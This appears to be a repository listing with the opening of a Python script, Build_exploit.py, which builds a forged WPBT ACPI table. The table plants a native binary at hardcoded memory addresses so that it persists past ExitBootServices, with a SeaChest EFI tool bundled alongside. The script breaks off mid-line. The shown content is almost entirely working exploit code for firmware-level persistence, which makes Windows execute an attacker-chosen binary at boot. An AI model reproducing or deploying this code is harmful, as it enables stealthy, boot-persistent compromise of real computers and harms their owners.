├── Build_exploit.py ├── README.md └── SeaChest_EFI.zip /Build_exploit.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import os 3 | import struct 4 | 5 | #Target address to place binary at , location must persist past ExitBootService 6 | BINARY_LOCATION_ADDRESS=0x7BB76000 7 | #Address of target ACPI table to replace 8 | ACPI_TABLE_ADDRESS=0x7BBC4000 9 | 10 | payload_filename = "native_test_c_temp.bin" 11 | payload_file = open(payload_filename, "rb") 12 | PAYLOAD_FILE_SIZE=os.path.getsize(payload_filename) 13 | 14 | wpbt = bytearray(b'\x57\x50\x42\x54\x34\x00\x00\x00\x01\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x01\x00\x00\x00\x41\x41\x41\x41\x00\x00\x04\x00') 15 | wpbt.extend(struct.pack("